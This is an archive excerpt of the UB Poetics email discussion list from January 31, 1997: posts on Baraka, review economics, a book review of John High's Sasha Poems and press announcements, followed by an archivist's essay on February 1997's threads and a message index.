Thanks to Kyle for that further etc -- BUT -- readers should get the Third World Press ed. of _Ys_ to see how the sequence unfolds (THOUGH, their version of the spouting whale that appears at the end of one of the poems looks more like a flying mechanical caterpillar)

Best live performance of this work I've seen, out of many, was when Baraka read it with the group Blue Ark -- the music was worked to the verse better than anything he's done since his performances with David Murray of many years back --

AND it would seem that George Bowering is truly George the Memorious if he remembers Rollins playing under the bridge -- Crane also played under bridges, but Sony did not want to appropriate that action for their ad campaign --

↑ Index

767. **Aldon L. Nielsen**
Re: integration as hegemony?
Fri 31 Jan 1997

I haven't read Gates's comments on the "unexpected" (are they also in the _New Yorker_?) -- but this too wd seem to have been a coulda been rather than a present possibility -- The Apollo is maintained after a fashion -- the Howard, however, never was reopened as the Howard Foundation proved infirm (One might ask why none of those development dollars that rebuilt commercial downtown DC were used to save that theater as an opearting concern) --

Can any of you in Chicago inform me of the present status of the Regal Theater?

and yes, Wilson's comments, however true, are odd to the extent that had he not been picked up by the Yale Rep many years ago, he probably could not get a hearing in the _New Yorker_ today -- which is more of a negative comment about the _NYer_ than about Wilson's comments --

↑ Index

768. **Michael Boughn**
Re: Query: Performance and spirit
Fri 31 Jan 1997

> *I'm looking for any suggestions (books, essays, manifestos, whatever) re. spirit possession, spirti doctors, getting the spirit, conjuring in connection with performance and the performative. Also essays about spirit possession and subjectivity.*

Try Zora Neal Hurston's _Tell My Horse_. One of the best things on Voudon and possession I've ever read. And of course Ishmael Reed's _Mumbo Jumbo_.

Mike
[redacted]

↑ Index

769. Charles Alexander
Re: Getting the word out
Fri 31 Jan 1997

> *but i'm not clear frm the above paragraph if yr equating "good magazine" w/ "mainstream publication"... there are plenty of good magazines running reviews and substantial critical work--Witz, Poetry Project Newsletter, Poetic Briefs, Mondo Hunkamooga, Chain, Texture, Compound Eye, Factsheet Five, Dusty Dog Reviews, Small Press Review, my own TapRoot Reviews... none of 'em "mainstream", & praps lacking th academic credability of PW LJ NYTBR et al*

I thought that comment might be more about getting into magazines/journals that pay reviewers at least a fairly decent fee. It is difficult making it as a free-lance writer, and even more difficult if one wants primarily to write about literature and the arts. And if one can do so, and write about topics germane to this list as well, I can only support her/him wholeheartedly.

charles

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770. henry gould
bk review (longish)
Fri 31 Jan 1997

John High / (FROM) THE SASHA POEMS
Juxta/3300 Press, 1996
isbn 0964601737
($5.00 / orders to: 3300 Press, 300 Vicksburg St, Suite 5, San Francisco, CA 94114)

The Sasha Poems are a sequence of 32 prose poems, in a style which is simultaneously terse, precise, visionary and exalted - as if (to make a jarring comparison) Ernest Hemingway came back from the dead as St. Francis (or better, an Eastern Orthodox mystic). They represent a dream-journey or pilgrimage through a real landscape - strangely silent and void of crowds, but thickly peopled with animals, plants and stones radiating consciousness - a very animate hobo path. The poems are narrated by a voice that alternates and blends the voices of father and very young daughter - as though daughter were leading father on this visionary journey - learning to speak, write and "make her book" - while simultaneously evoking the ongoing creation of the "book" of nature/life. Occasionally these voices are augmented by a mysterious group of monks &/or other children accompanying them on their way. There is a pervasive aura of uncanniness & child-vision - of a spiritual journey away from, or on the margins

of, "the world", and into the poverty and wealth of an overwhelming "transcendent" reality.

This provides only the barest outline by which John High has structured his work. The framing of the journey led by the child - or the tandem of child and "father" - supports a truly "poetic" prose, in which individual sentences, paradoxically, don't "go" anywhere: weighted with lyric fulness, a Blakean "innocence", the sentences testify to a continual newness/strangeness - a "new creation" which is also the "end" of the journey. That is, they are suffused with mystery. Here is a brief excerpt:

Three match sticks, a bottle of vodka, a chunk of black bread the monks left behind as they savored the night. Now that the monks, too, were again wandering, the sky was difficult to locate. These thick mountains & waterfalls & skulls--human skulls embodied in our earth. The dead come forth with the living. Mother Goose beaming. The monks conversing among themselves as they incarnate the joy & darkness. Almost human. Remnants of a life, an orchard sun, the split cherry unseen in the valley. A quiet but not unrequited love singing among the living. O matchmaker, what informs this urge to be inside the cherry. The child edged up beside me. The father not blue, still in this trance he dreamed a monk into every stone, every piece of dust, every imagined moon. Later the child would translate this into her diary as another nursery rhyme beginning, Hickety pickety my black hen, she lays good eggs for gentlemen... Angel flakes falling on our furry heads! (from "wild blue yonder, #30)

John High spent four years in Russia, and has translated the poetry of Nina Isrenko and Ivan Zhdanov into english (a selected poems by Zhdanov - an amazing collection, I might add - has just been published by Talisman House). He has managed to fuse a sort of bare, wild California- gypsy landscape with a deep awareness of Russian poetic and religious traditions. The voice of these poems oscillates between a child's first verbal steps and naive wonder, and a grown person's more salted meditations - an oscillation on a continuum. What emerges is both a challenge and an invitation: to enter a reality of... how to "paraphrase" it? "Animate meaning." This is not a solemn journey, but full of humor and pathos. Excerpts don't do it justice, but here's another anyway:

These sparrows no one beckons! The angel picked a muffler from the water, content to mimic the day. If those who lead you say--Look the Kingdom, it is in the sky__then the birds of the sky will get there first, the angel heckled as a possum scampered by. Since its own wings were burnt, the angel again exploded in flames. Though the mud itself was cool on our toes. The field presently shrouded in an early autumn fog as a turtle turned in the bush. If the child had known flowers, she would have named them too in our eternalistic pathos...Can you translate the silence, papa? she next inquired. This is the

origin of many tests. O gray hummingbird! A birth meandering along the road. So many joys no one had mentioned to the father before now. _Jack be nimble, jack be quick_. She laid the pages down on the ground & called it a book. The ants & approaching squirrels called it a diary. This will be my book, papa. (from "a map, a goose, & a fairy tale, #6)

Jim Leftwich, in his excellent afterword to this book, quotes Jung as follows: "It is therefore psychologically quite unthinkable for God to be simply the 'wholly other', for a 'wholly other' could never be one of the soul's deepest and closest intimacies--which is precisely what God is." The excerpt above hints at some of the ironies present in High's use of a somewhat undefined narrator. The voice is both the child talking to her papa, and the adult, "praying" to the father; & steeped into the plot of this sequence is the absent presence of the "third" person: the wife/ mother (who is spoken of & to, but who is also absent). There are some theological ironies buried here. "This will be my book, papa" - John High has (perhaps) written some journal notes toward the _Book of J_.

This country has since its beginning been awash in marketable spiritual and spiritualist commodities; but John High has based his premises too firmly on a foundation of personal experience, poetic understanding, and "paid dues" to fall into the circle of the ersatz. A few weeks ago I floated a prolegomena to a "Providence School" of poetry, based on a (homemade) philosophical distinction between a metaphysical realism on the one hand, and a postmodernist nominalism on the other; between an experience-based "seriousness" on the one hand, and a pure aestheticism on the other. I named the current generation of Russian poets of the "metarealist" and "neo-Acmeist" persuasions (as outlined theoretically by Mikhail Epstein) as models in this endeavor. It would be a disservice to John High to ride my "theories" on the coattails of his writing; so let me put this in a very conditional mode: IF there WERE a "Providence School", John High's work - which offers a lyrical testimony to the mystery of cosmic redemption (Mandelstam's divine game of "hide & seek") - and a challenge to wash our eyes in a new vision of nature - John High's SASHA POEMS would be one of the school's well-thumbed, well-read, oft- cited and recited pleasures. I hope others on this list will be encouraged to take this eerie, beautiful, skilled, & gently-loping journey too.

- Henry Gould

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771. **Mark Weiss**
Re: Getting the word out
Fri 31 Jan 1997

Look, kids, I've been doing this for a while. I send out about 100 review copies for each book, to all kinds of places. While there are exceptions, unless the poet is already notorious or is easily identified with a category of interest the books get reviewed by, a) friends and acquaintances of mine or the author's, or, b) reviewers assigned by friends and acquaintances, etc., who edit a given periodical. One way or another the books get reviewed, although a hundred requests may yield 3 or 4 reviews, rarely more. And the reviews that appear in the periodicals I like to read generate almost no sales. Think about it this way: I send a book to, say, Taproot. It gets a rave. Three people buy it (that's a bonanza for a small press review). It's cost me a freebie and postage to sell those three books. Not to speak of time and effort. The books do sell, eventually, some better than others, and I'm not about to throw in the towel. I remain committed to printing the best, according to my lights, that comes my way, without a glance at commercial viability, and I do have a taste for the marginal, the good stuff that doesn't belong to any club. But at 1000 copies per printing they do tend to clog the warehouse for an inordinate amount of time, and it would be helpful if they generated enough capital to pay for the production costs of the next one down the pike. Which brings me back where I started. I don't share Luigi's pessimism (or arrogance?). I think there are a fair number of potential readers to be reached, although they may be a small percentage of the general book market. They have been educated to not read poetry--maybe they can be uneducated. To that end, I think that Mark Presjnar's suggestion is essential--bug your librarian. It's hard not to think about the economics of this game when you're faced with the next bill from the printer.

At 09:26 AM 1/31/97 -0500, you wrote:
>Steven Marks writ---
>
>>Needless to say, many reviewers have agendas. I know for myself that I am
>>as interested in getting published by a good magazine as the author was to
>>get published by a good publisher. I will also use a book or books to
>>advance an idea or introduce new poets or forms to mainstream
>>publications. This is where reviews overlap with essays and journalism. I
>>suppose what I'm saying is what you already know -- a review is subject to
>>a great number of variables. However, it's not all that bad. At one
>>magazine I review for, I'm given a choice amoung books my editor knows
>>that I will "understand." Of course, this doesn't mean that I will
>>automatically deem the work successful, but it does mean that I won't be
>>scared off or befuddled by the unconventional.

>
>i fr one would *hope* that any reviewer wd have agendas; only complaint
>is when those agendas are not clear (& ideally, articulated)...
>
>but i'm not clear frm the above paragraph if yr equating "good magazine"
>w/ "mainstream publication"... there are plenty of good magazines running
>reviews and substantial critical work--Witz, Poetry Project Newsletter,
>Poetic Briefs, Mondo Hunkamooga, Chain, Texture, Compound Eye, Factsheet
>Five, Dusty Dog Reviews, Small Press Review, my own TapRoot Reviews...
>none of 'em "mainstream", & praps lacking th academic credability
>of PW LJ NYTBR et al; but if getting books into hands that'll read 'em is
>th objective i'd suggest that the more narrowly targeted smallpress reviews
>will be more effective than the prestige jrnls. because no matter how
lauditory
>th review, the majority ov the bookbuying public will still "be scared off
>or befuddled by the unconventional." if, on th other hand, the idea is to
>sell
>books, make sure the product is conventional--mickeyD is succesful
>(economically,
>not gastronomically) because the consumer knows that s/he will get exactly
>th same thing everytime...
>
>asever
>luigi
>
>

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772. Charles Bernstein
THE L=A=N=G=U=A=G=E BOOK (FWRD)
Fri 31 Jan 1997

<<<{forwarded from Sotherin Illinois University Press)>>>

AVAILABLE AGAIN!

Forthcoming in April 1997 from Southern Illinois University Press--------

THE L=A=N=G=U=A=G=E BOOK

Edited by Bruce Andrews and Charles Bernstein

309 pages, 5½ x 8½
paper, ISBN 0-8093-1106-2, $15 for Poetics Subscribers (regularly 18.95)

ORDERING INFORMATION-----

(Be sure to note special "Poetics List" price when ordering)

ADDRESS: Southern Illinois University Press
P.O. Box 3697
Carbondale IL 62902-3697

PHONE: [redacted]

FAX: [redacted]

SHIPPING & HANDLING: $3.50 + $0.75 for each additional book

(VISA, Discover, and MasterCard accepted.)

****

"In 1978, a new magazine appeared on the American poetry scene. The magazine, strangely titled L=A=N=G=U=A=G=E, became during its four years of publication a main forum for a group of young writers keen to engage in theoretical speculation and debate about their medium. L=A=N=G=U=A=G=E disappeared in 1981, but its name has lingered on, mainly as a means of designating a higly varied body of work which was shaped by the emerging protocols of the magazine."

----Peter Middleton
CONTEMPORARY POETRY MEETS MODERN THEORY

****

"THE L=A=N=G=U=A=G=E BOOK was instrumental, not simply to laying a foundation for an urgently needed new sense of writing but to vividly articulating the muti-disciplinary and polytextual sweep of this writing's core investigations."

----Loss Pequeño Glazier
DICTIONARY OF LITERARY BIOGRAPHY

****

"It is one of the first journals to extend directly from a concern for language as a ground base for poetry and one of the few magazines to provide an open forum for discussions of poetics by the writers themselves."

----Michael Davidson
ARCHIVE FOR NEW POETRY NEWSLETTER

****

"An essential source. With its blend of voices and crisscrossing dialogues, the book has an almost novelistic density."

----VOICE LITERARY SUPPLEMENT

****

"Apropos favorite books of the past year's reading . . . I read more absorbedly books like L=A=N=G=U=A=G=E . . . than I did much else."

----Robert Creeley
THE POETRY PROJECT NEWSLETTER

****

"For over twenty years, in magazines such as . . . L=A=N=G=U=A=G=E . . . this movement has given us a body of writing that may be the most significant since the modernists."

----Hank Lazer
THE NATION

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773. **Charles Bernstein**
FRENCH WOMEN POETS (fwrd)
Fri 31 Jan 1997

<<<{forwarded from Sotherin Illinois University Press)>>>

Available April 1997 from Southern Illinois University Press--------

SIX CONTEMPORARY FRENCH WOMEN POETS:
THEORY, PRACTICE, AND PLEASURES

Selection, Introduction, and Translations by Serge Gavronsky

144 pages, 6 x 9, illustrated
paper, ISBN 0-8093-2115-7, $13.50 for Poetics List Subscribers (regularly $16.95)

ORDERING INFORMATION-----

(Be sure to mention Poetics List special price)

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Carbondale IL 62902-3697

PHONE: [redacted]

FAX: [redacted]

SHIPPING & HANDLING: $3.50 + $0.75 for each additional book

****

Serge Gavronsky introduces to American readers six of the best contemporary French women poets: Leslie Kaplan, Michelle Grangaud, Anne Portugal, Josée Lapeyrère, Liliane Giraudon, and Jacqueline Risset.

****

Although many practice the art, contemporary French women poets generally have been vastly underrepresented in periodicals and anthologies. In the only anthology to feature avant-garde French women poets exclusively, Gavronsky shows how Kaplan, Grangaud, Portugal, Lapeyrère, Giraudon, and Risset differ from their American counterparts.

Before presenting his translations of the poems, Gavronsky gives each poet the opportunity to define herself in terms of major influences on her poetry, distinctive traits in her writing, major themes in her work, and the influence of gender on her art. The poets also speculate about the relative underrepresentation of women poets in French periodicals and anthologies as well as about the form poetry might take in the twenty-first century.

The poems in this volume are simultaneously delightful, informative, and combative. They typify, according to Gavronsky, some of the main currents of a poetics in the making, a poetics little known in the United States. In reaffirming women's involvement with poetry, Gavronsky believes that he has "reconnected today's work with an immemorial tradition that, in France, clearly goes back to [the] Middle Ages."

****

Serge Gavronsky, born in Paris, is a professor in and chair of the Department of French at Barnard College, Columbia University. He has published both French and English poetry in books, magazines, and anthologies in the United States, France, and Italy. A novelist and literary critic, he has translated American poetry into French as well as French poetry into English.

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774. **Steven W. Marks**

Re: Getting the word out

Fri 31 Jan 1997

On Fri, 31 Jan 1997, robert drake wrote:
>
> but i'm not clear frm the above paragraph if yr equating "good magazine"
> w/ "mainstream publication"... there are plenty of good magazines running
> reviews and substantial critical work--Witz, Poetry Project Newsletter,
> Poetic Briefs, Mondo Hunkamooga, Chain, Texture, Compound Eye, Factsheet

> Five, Dusty Dog Reviews, Small Press Review, my own TapRoot Reviews...
>
By "good," I mean magazines like those you list as well as ones like
Another Chicago Magazine, Green Mountains Review, Boston Book Review,
American Book Review, etc.

I agree that targeted reviews are often far more effective for the publisher than the prestige journals for the reason you state. A review in one of the little magazines can start a buzz among potential buyers unlike the bigger magazines. Of course, the most targeted review is a word-of-mouth review. That's why I would agree with Mark P that discussions on lists like this are so valuable. But then again, it's often a review that begins the conversation.

Steven Marks

Samples of reviews, criticism and poetry at

http://members.aol.com/swmarks/welcome.html

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775. **acgold01**
Rutgers Conference
Fri 31 Jan 1997

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

. . .lookin' for a room-mate for the "Poetry and the Public Sphere" conference at Rutgers in April. Any takers?

Alan

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776. **Julie Marie Schmid**
Re: Query: Performance and spirit
Fri 31 Jan 1997

Hi all--

I'm looking for any suggestions (books, essays, manifestos, whatever) re. spirit possession, spirti doctors, getting the spirit, conjuring in connection with performance and the performative. Also essays about spirit possession and subjectivity.

Any ideas at all? Thanks! Feel free to back channel to me, if you'd like.

Julie Schmid
[redacted]
Dept. of English
University of Iowa

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777. Fred Muratori Fred Muratori

Re: THE L=A=N=G=U=A=G=E BOOK (FWRD)

Fri 31 Jan 1997

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> *paper, ISBN 0-8093-1106-2, $15 for Poetics Subscribers (regularly 18.95)*

Well, it's about time.

-- FM

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

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778. **Pritchett,Pat**
Re: bk review (longish)
Fri 31 Jan 1997

Beautiful (and provocative) review, Henry. Thanks for posting it.

From: henry gould
To: POETICS
Subject: bk review (longish)
Date: Friday, January 31, 1997 3:31PM

John High / (FROM) THE SASHA POEMS
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The Sasha Poems are a sequence of 32 prose poems, in a style which is simultaneously terse, precise, visionary and exalted - as if (to make a jarring comparison) Ernest Hemingway came back from the dead as St. Francis (or better, an Eastern Orthodox mystic). They represent a dream-journey or pilgrimage through a real landscape - strangely silent and void of crowds, but thickly peopled with animals, plants and stones radiating consciousness - a very animate hobo path. The poems are narrated by a voice that alternates and blends the voices of father and very young daughter - as though daughter were leading father on this visionary journey - learning to speak, write and "make her book" - while simultaneously evoking the ongoing creation of the "book" of nature/life. Occasionally these voices are augmented by a mysterious group of monks &/or other children accompanying them on their way. There is a pervasive aura of uncanniness & child-vision - of a spiritual journey away from, or on the margins of, "the world", and into the poverty and wealth of an overwhelming "transcendent" reality.

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Jim Leftwich, in his excellent afterword to this book, quotes Jung as follows: "It is therefore psychologically quite unthinkable for God to be simply the 'wholly other', for a 'wholly other' could never be one of the soul's deepest and closest intimacies--which is precisely what God is." The excerpt above hints at some of the ironies present in High's use of a somewhat undefined narrator. The voice is both the child talking to her papa, and the adult, "praying" to the father; & steeped into the plot of this sequence is the absent presence of the "third" person: the wife/ mother (who is spoken of & to, but who is also absent). There are

some theological ironies buried here. "This will be my book, papa" - John High has (perhaps) written some journal notes toward the _Book of J_.

This country has since its beginning been awash in marketable spiritual and spiritualist commodities; but John High has based his premises too firmly on a foundation of personal experience, poetic understanding, and "paid dues" to fall into the circle of the ersatz. A few weeks ago I floated a prolegomena to a "Providence School" of poetry, based on a (homemade) philosophical distinction between a metaphysical realism on the one hand, and a postmodernist nominalism on the other; between an experience-based "seriousness" on the one hand, and a pure aestheticism on the other. I named the current generation of Russian poets of the "metarealist" and "neo-Acmeist" persuasions (as outlined theoretically by Mikhail Epstein) as models in this endeavor. It would be a disservice to John High to ride my "theories" on the coattails of his writing; so let me put this in a very conditional mode: IF there WERE a "Providence School", John High's work - which offers a lyrical testimony to the mystery of cosmic redemption (Mandelstam's divine game of "hide & seek") - and a challenge to wash our eyes in a new vision of nature - John High's SASHA POEMS would be one of the school's well-thumbed, well-read, oft- cited and recited pleasures. I hope others on this list will be encouraged to take this eerie, beautiful, skilled, & gently-loping journey too.

- Henry Gould

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779. **maria damon**

Re: Query: Performance and spirit

Fri 31 Jan 1997

---

there's a short story by baraka whose name escapes me about a band playing at a neighborhood workingclass black bar that gets everybody so hyped up they spill out of the bar and take over the streets; it's not literally about spirit possessoin (try Mumbo Jumbo for that) but abt art, politics, performance and getting "carried away."

In message <[redacted]> UB
Poetics discussion group writes:
> Hi all--
>
> I'm looking for any suggestions (books, essays, manifestos, whatever) re.
> spirit possession, spirti doctors, getting the spirit, conjuring in
> connection with performance and the performative. Also essays about spirit
> possession and subjectivity.
>

> Any ideas at all? Thanks! Feel free to back channel to me, if you'd
> like.
>
> Julie Schmid
> [redacted]
> Dept. of English
> University of Iowa
>

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780. **Aldon L. Nielsen**
Re: ||||
Fri 31 Jan 1997

Anybody out there know if Stephen Ellis is still at this address I had for him in Jordan?

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

February 1997

924 messages · Fri 31 Jan 1997 – Fri 28 Feb 1997

In the last week of February a laboratory in Midlothian announced that the lamb it had produced the previous July had been made from a single cell of a six-year-old ewe, and the world understood at once that something had changed. Deng Xiaoping had died five days earlier. The list mentions the sheep not once and Deng twice, and I record this now only for the ledger, since it is nine hundred and twenty-three letters long, the largest month in this archive, and every one of them is busy with a question the room could not put down: whether what a man is gets into what he writes.

The occasion was Ed Dorn, and I am not going to reprint what he and Tom Clark had published about people dying of AIDS, because the room did not need it reprinted and neither do you. It is enough that everyone had read it and nobody defended it. What they argued about instead was what one is then obliged to do. William Northcutt, writing from Bayreuth, managed both halves in a single post — the thing was horrible, he said, and also *“this list has taken a self-righteous turn”* — and reported the detail that stayed with me, that Dorn had stopped setting foot on the Naropa campus, which Northcutt thought must feel like a horrible kind of exile.

Tom Mandel put the case for the prosecution in four lines and no adjectives. How a person behaves ought to determine how one relates to him: any problems so far? *“Writing — that’s thinking, saying, doing”*. Still with me? Reading, ditto. Are we on the same page? He then said what he would do if Dorn came near him, and declined to dress it up as a principle. Against which the room set Neruda, and Mark Weiss wrote the month’s most patient letter, explaining out of his own childhood among Debs socialists — his father’s flirtation with the Party *“did not survive the Hitler-Stalin pact”* of 1939 — how a good man’s instrument *“malfunctioned in the case of Stalin”*, and why the faithful, who saw only each other, could not have known.

And underneath, unregarded, Ron Silliman was quietly dismantling the whole enquiry. Under Names are not Objects he had got curious about where Miekal And’s name came from, and started listing: Robert Duncan had been christened Edward Howard Symmes, Lyn Hejinian had been Carolyn Ochs, Rae Armantrout had been Mary Korkegian, Michael Palmer had been George. *“Names do seem particularly unstable with regards to people”*, he observed, and went on to the

artist formerly known as Prince. Thirty-seven letters. The room was trying to establish whether the man is in the poem and could not, in the next thread along, reliably establish what the man was called.

None of which was the largest thread. That was Jordan Davis, on the twenty-fifth, asking twenty-two words: what attitude — no, *“what facial expression do you find yourself assuming”* when you begin a poem, when you are in the middle of one, when you are editing? Just curious. Twenty-eight letters came back. Ian Wilson knew, because *“I’ve had someone in the room videotaping”*. Don Cheney guessed, *“because i’ve never looked”*. Eliza McGrand went *“this completely blank, walled over expression”*; Dave Zauhar’s wife said he looked like Marty Feldman; Pat Pritchett claimed *“Michael Jordan — full extension — tongue lolling out”*. I have set the prosecution and the faces on facing pages, because a room that spent nine hundred letters unable to decide whether a man gets into his writing spent its largest single thread describing, one after another, exactly what its own face was doing while it wrote.

— Kristen M. Fabians

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40. Miekal And — EPIC
41. maria damon — Re: POETICS Digest - 31 Jan 1997 to 1 Feb 1997
42. Aldon L. Nielsen — Re: Query: Performance and spirit
43. robert drake — Re: EYE-RHYMES (forward
44. Miekal And — Re: EPIC
45. Miekal And — MUTILATE THIS THREAD: Re: gun controls
46. Ward Tietz — Address Query
47. Miekal And — Re: MUTILATE THIS THREAD: Re: gun controls

48. Miekal And — Re: Neologism
49. main — notley, epic
50. Miekal And — perogatively
51. Mark Roberts — AWOL: ars poetica magazine and competition (Forwarded)
52. DS — Re: notley, epic
53. robert drake — Re: Address Query
54. David R. Israel — Re: notley, epic / (Bandit Queen?)
55. Miekal And — Re: definitions
56. David Bromige — definitions
57. Alan Jen Sondheim — Re: MUTILATE THIS THREAD: Re: gun controls
58. Mark Roberts — Re: MUTILATE THIS THREAD: Re: gun controls
59. Marina deBellagente laPalma — responses/thoughts
60. Herb Levy — Re: Recent Publications, Hebronics, & Neologisms
61. ralph.wessman — gun controls
62. George Bowering — Re: responses/thoughts
63. Joshua N Schuster — from a distance
64. Mark Weiss — Neologism
65. Alan Jen Sondheim — Re: MUTILATE THIS THREAD: Re: gun controls
66. Mark Weiss — Re: Neologism
67. David Bromige — definitions

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68. dbkk — Susan Howe takes San Francisco by storm
69. David Bromige — definitions/epics
70. Wendy Battin — Re: notley, epic / (Bandit Queen?)
71. Wendy Battin — Re: definitions
72. DS — Re: notley, epic / (Bandit Queen?)
73. Mark Weiss — Re: definitions/epics
74. Bil Brown — Re: possession/spirit POETICS Digest - 30 Jan 1997 to 31 Jan 1997
75. Bil Brown — Re: Nate Mackey
76. Michael Boughn — Re: EPIC
77. simon — Re: notley, epic / (Bandit Queen?)
78. Christopher Alexander — Re: Query: Performance and spirit
79. Christopher Alexander — Re: notley/epic
80. Pritchett,Pat — Re: notley, epic / (Bandit Queen?)
81. jarnot — notley/epic
82. David Bromige — definitions/epic
83. maria damon — Re: from a distance
84. maria damon — Re: MUTILATE THIS THREAD: Re: gun controls
85. Sylvester Pollet — Mitch Goodman
86. maria damon — Re: notley, epic / (Bandit Queen?)
87. maria damon — Re: notley, epic / (Bandit Queen?)
88. maria damon — Re: definitions/epics
89. maria damon — Re: definitions/epics
90. maria damon — hebronix/poetix
91. maria damon — hebronix/poetix 2
92. F.A. Templeton — Re: possession/spirit POETICS Digest - 30 Jan 1997 to 31 Jan 1997
93. Aldon L. Nielsen — Re: allegories of berth
94. simon — Phoolan Devi
95. Mark Prejsnar — Re: Getting the word out
96. Mark W Scroggins — Upper Limit Music
97. maria damon — goodman
98. Aldon L. Nielsen — Re: On not checking it out
99. maria damon — Re: definitions/epic
100. Alan Jen Sondheim — Re: MUTILATE THIS THREAD: Re: gun controls
101. Wendy Battin — Re: possession/spirit

102. Chris Stroffolino — Blackberry/ Cranburn.....
103. Mark W Scroggins — Upper Limit Music
104. David Bromige — meetings
105. Charles Alexander — Re: Blackberry/ Cranburn.....
106. Aldon L. Nielsen — Re: Blackwaite/Brathburn
107. Matthias Regan — Re: Phoolan Devi
108. Julie Marie Schmid — Re: Blackberry/ Cranburn.....
109. Wendy Battin — Re: Phoolan Devi
110. Pierre Joris — Re: Blackberry/ Cranburn.....
111. Mark Weiss — Re: On not checking it out
112. Christopher Alexander — Re: Getting the word out
113. main — Re: Phoolan Devi
114. Sylvester Pollet — Re: Blackberry/ Cranburn.....
115. Tosh — Re: Blackberry/ Cranburn.....
116. dbkk — Re: allegories of berth
117. armand schwerner — POSSESSION ETC
118. KYLE CONNER/LRC-CAHS — Re: Blackberry/ Cranburn.....

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119. cloward — Query: Performance and Spirit
120. David Bromige — Quiet as a mouse
121. Pierre Joris — Keats's House is Falling Down...
122. Chris Stroffolino — selfless shame promotion
123. Michael Boughn — Walkin out
124. Michael Boughn — epic/definitions
125. Michael Boughn — Bandit Queen
126. dbkk — RLIN search
127. Joe Safdie — Re: Blackwaite/Brathburn
128. Matthias Regan — Re: Phoolan Devi & all the rest
129. Matthias Regan — Re: Phoolan Devi & form
130. Matthias Regan — Re: Getting out the word out
131. Henry Gould — 3 propositions for today
132. shoemakers — Re: Upper Limit Music
133. Aldon L. Nielsen — Re: citation, use, sampling etc
134. KENT JOHNSON — Poets' homes

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135. robert drake — CALL FOR PAPERS : IWCS'97
136. Maria Damon (Maria Damon) — Re: Diacritics special issue
137. Maria Damon (Maria Damon) — Re: Bandit Queen
138. robert drake — Re: guess lawsuit
139. David Bromige — knowing when to stop
140. David Bromige — keep off the grass
141. David Bromige — reading lists
142. Sylvester Pollet — Re: Keats's House is Falling Down...
143. maria damon — epik proklivities
144. maria damon — query
145. maria damon — Re: meetings
146. maria damon — Re: epic/definitions
147. Sylvester Pollet — apologies
148. cris cheek — Re: from a distance
149. Eliza McGrand- CVA Guest — Re: Bandit Queen
150. Herb Levy — Re: epic/definitions
151. Alan Jen Sondheim — Re: query
152. Aldon L. Nielsen — Re: after David
153. Daniel Bouchard/College/hmco — Re: Poets' homes
154. David Bromige — the Shadow Librarian, and Other Stories

155. Aldon L. Nielsen — Re: "Jibaro, my pretty . . ."
156. David Bromige — did i repeat myself?
157. henry — Re: knowing when to stop
158. David Bromige — Homonyms & Borrowings
159. David Bromige — keep off the cheese (the mouse at midnight)
160. Sylvester Pollet — Re: keep off the grass
161. Jonathan Monroe — Diacritics special issue
162. william marsh — Re: 3 propositions for today
163. Johannah Raney — Re: Bandit Queen
164. Matthias Regan — Re: Bandit Queen
165. Charles Alexander — Re: Poets' homes
166. Eliza McGrand- CVA Guest — Re: Bandit Queen
167. Aldon L. Nielsen — Re: keep off the grease
168. Mark Weiss — Re: Poets' homes
169. Alan Jen Sondheim — no excuses
170. Herb Levy — Re: Bandit Queen
171. Laura Moriarty — POSSESSION
172. Eliza McGrand- CVA Guest — Re: Bandit Queen
173. Matthias Regan — Re: Bandit Queen
174. simon — Re: Bandit Queen
175. Mark Weiss — Possession, etc.
176. ejoyce — Re: Poets' homes
177. Stephen Cope — Re: "Jibaro, my pretty . . ."
178. Michael Boughn — Re: Bandit Queen

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179. main — Re: breaking waves, de sade, etc.
180. George Bowering — Re: allegories of berth
181. George Bowering — Re: reading lists
182. Michael Boughn — delays
183. Sylvester Pollet — Re: delays
184. Lisa Samuels — possession
185. Aldon L. Nielsen — Re: Jivaro/Jibaro
186. Pritchett,Pat — Re: possession
187. Charles Bernstein — Re: delays
188. maz881 — Re: walkin out
189. henry gould — address query
190. Miekal And — Re: poetry "schools"
191. Michael Coffey — poetry "schools"
192. Matthias Regan — Bandit Queen (Lone Star)
193. Miekal And — Re: Getting out the word out
194. Pritchett,Pat — Re: Bandit Queen (Lone Star)
195. Franklin Bruno — (no subject)
196. Miekal And — Re: event report
197. Matthias Regan — Bandit Queen (Unforgiven)
198. Miekal And — Re: Getting out the word out
199. Rachel Loden — for db: initializing, establishing, and authentication
200. Miekal And — child of tree
201. Laura Moriarty — Re: allegories of berth
202. Christopher Alexander — Re: Getting out the word out
203. Christopher Alexander — Re: Getting out the word out
204. maria damon — event report
205. Maria Damon (Maria Damon) — Re: Celebrating Tet in the dorm this week
206. Charles Alexander — Re: Getting out the word out
207. Aldon L. Nielsen — Re: event report
208. Christopher Alexander — Re: Getting out the word out

209. Christopher Alexander — Re: Getting out the word out
210. Christopher Alexander — Re: Getting out the word out
211. David Israel — Re: event report / an adage
212. Maria Damon (Maria Damon) — Re: Names are not Objects

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213. Maria Damon (Maria Damon) — Re: Names
214. George Bowering — Re: poetry "schools"
215. Miekal And — Re: Names are not Objects
216. David R. Israel — Re: Fwd: New rules on internet access
217. 9448721p — OBJECT PERMANENCE #8
218. Bil Brown — Re: poetry "schools"
219. Ron Silliman — Names are not Objects
220. Ron Silliman — Film thread
221. Miekal And — Provoking the stretch
222. Miekal And — Re: Names are not Objects
223. henry — Re: poetry "schools"
224. Miekal And — Re: Names are not Objects
225. Herb Levy — Re: Bandit Queen (Lone Star)
226. maria damon — Re: Names are not Objects
227. Jordan Davis — Re: Names are not Objects
228. Charles Alexander — Re: Names are not Objects
229. Mark Prejsnar — Re: poetry "schools"
230. Pritchett,Pat — Re: Names are not Objects
231. dbkk — RLIN search
232. Diane Marie Ward — Re: Names are not Objects
233. amato — tv vs. film...
234. Miekal And — Re: Names are not Objects
235. amato — Re: Names are not Objects
236. Sylvester Pollet — Mitch Goodman
237. Pritchett,Pat — Re: tv vs. film...
238. amato — Re: poetry "schools"
239. Sylvester Pollet — Amiri Baraka
240. dbkk — "Arctic Summer"
241. Aldon L. Nielsen — Re: Celebrating Tet in the dorm this week
242. aerialedge — The Lack
243. Steven W. Marks — "schools" and doubles
244. amato — Re: tv vs. film...
245. Mark Weiss — Re: Film thread
246. Mark Prejsnar — More on labelling theory
247. Mark Weiss — Re: poetry "schools"
